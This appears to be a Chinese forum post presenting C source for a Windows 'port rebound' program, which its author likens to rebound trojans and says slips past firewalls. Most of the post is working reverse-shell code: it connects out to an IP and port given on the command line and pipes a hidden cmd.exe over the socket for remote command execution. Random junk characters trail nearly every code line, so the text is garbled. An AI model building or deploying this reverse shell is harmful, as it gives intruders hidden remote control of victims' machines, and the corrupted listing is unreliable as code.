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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6*E 7}  
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/* ============================== ;%}  
Rebound port in Windows NT BshS@"8r  
By wind,2006/7 XcXd7e  
===============================*/ 8Vx'sJ>r4  
#include R= l/EK  
#include .gB*Y!c7  
9ccEF6o0=  
#pragma comment(lib,"wsock32.lib") VCIG+Gz  
DIY WFVh  
void OutputShell(); s$Mj4_p3l  
SOCKET sClient; YAO0>T<F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 01J.XfCd6  
H:`r!5&Qb5  
void main(int argc,char **argv) JW$#~"@r  
{ BmZd,}{  
WSADATA stWsaData; <M=K!k  
int nRet; $d'Gh2IGA  
SOCKADDR_IN stSaiClient,stSaiServer; <_+8c{G  
B N=,>-O%  
if(argc != 3) VH/_0  
{ I'";  
printf("Useage:\n\rRebound DestIP DestPort\n"); u}$?r\H'(  
return; OtJS5A  
} iMS S8J  
#8A|-u=3  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6gv.n  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U;_ ;_  
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stSaiClient.sin_family = AF_INET; I$YF55uB  
stSaiClient.sin_port = htons(0); n%Fa;!S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \(Iy>L.  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3KGDS9I  
{ _+GCd8d  
printf("Bind Socket Failed!\n"); d(tq;2-  
return; /<@oUv  
} ?D#Vha  
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stSaiServer.sin_family = AF_INET; a 3H S!/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XG0,@Ly  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iS"rMgq  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U7OW)tUf  
{ ~ 60J  
printf("Connect Error!"); )Aj~ xA  
return; f@ySTz;u  
} %9IM|\ulp  
OutputShell(); V r y#  
}  `=oN&!  
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void OutputShell() r8mE   
{ DY1o!thz)  
char szBuff[1024]; bygwoZ<E  
SECURITY_ATTRIBUTES stSecurityAttributes; "UE'd Wz  
OSVERSIONINFO stOsversionInfo; !=ZbBUJF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WHU& 9N  
STARTUPINFO stStartupInfo; .; :[sv)  
char *szShell; bH&[O`vf  
PROCESS_INFORMATION stProcessInformation; IE3GM^7\  
unsigned long lBytesRead; h5F1mr1Sa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oYu5]ry  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /0zk&g  
stSecurityAttributes.lpSecurityDescriptor = 0; wsM5T B  
stSecurityAttributes.bInheritHandle = TRUE; Fd2zvi  
*'Ch(c:rtH  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x;ujR<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mWtwp-  
<.Pr+g  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /7*u!CNm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tmq:,.^}  
stStartupInfo.wShowWindow = SW_HIDE; BONM:(1  
stStartupInfo.hStdInput = hReadPipe; 55Jk "V#8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q|:\  
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GetVersionEx(&stOsversionInfo); GeE|&popO  
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switch(stOsversionInfo.dwPlatformId) gCd9"n-e  
{ "}EydG"=  
case 1: *8Gx_$t&  
szShell = "command.com"; sURHj&:t|  
break; TzVNZDQ`Jl  
default: ^G15]Pyw  
szShell = "cmd.exe"; !IP[C?(nB  
break; k)'c$  
} JI(8{ f  
aVd{XVE  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~W!sxM5(*  
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send(sClient,szMsg,77,0); 1'M< {h<sP  
while(1) --y .q~d  
{ I(pU_7mw  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P*G&pitT  
if(lBytesRead) hb`(d_=7F  
{ $BCqz! 4K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Si!W@Jm  
send(sClient,szBuff,lBytesRead,0); koe&7\ _@  
} y 2&G0y  
else  Q9{%  
{ n ,`!yw  
lBytesRead=recv(sClient,szBuff,1024,0); <vOljo  
if(lBytesRead<=0) break; wOINcEdx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); haS`V  
}  s(F^P  
} a(!:a+9WOP  
r'-)@|  
return; LDO@$jg  
}
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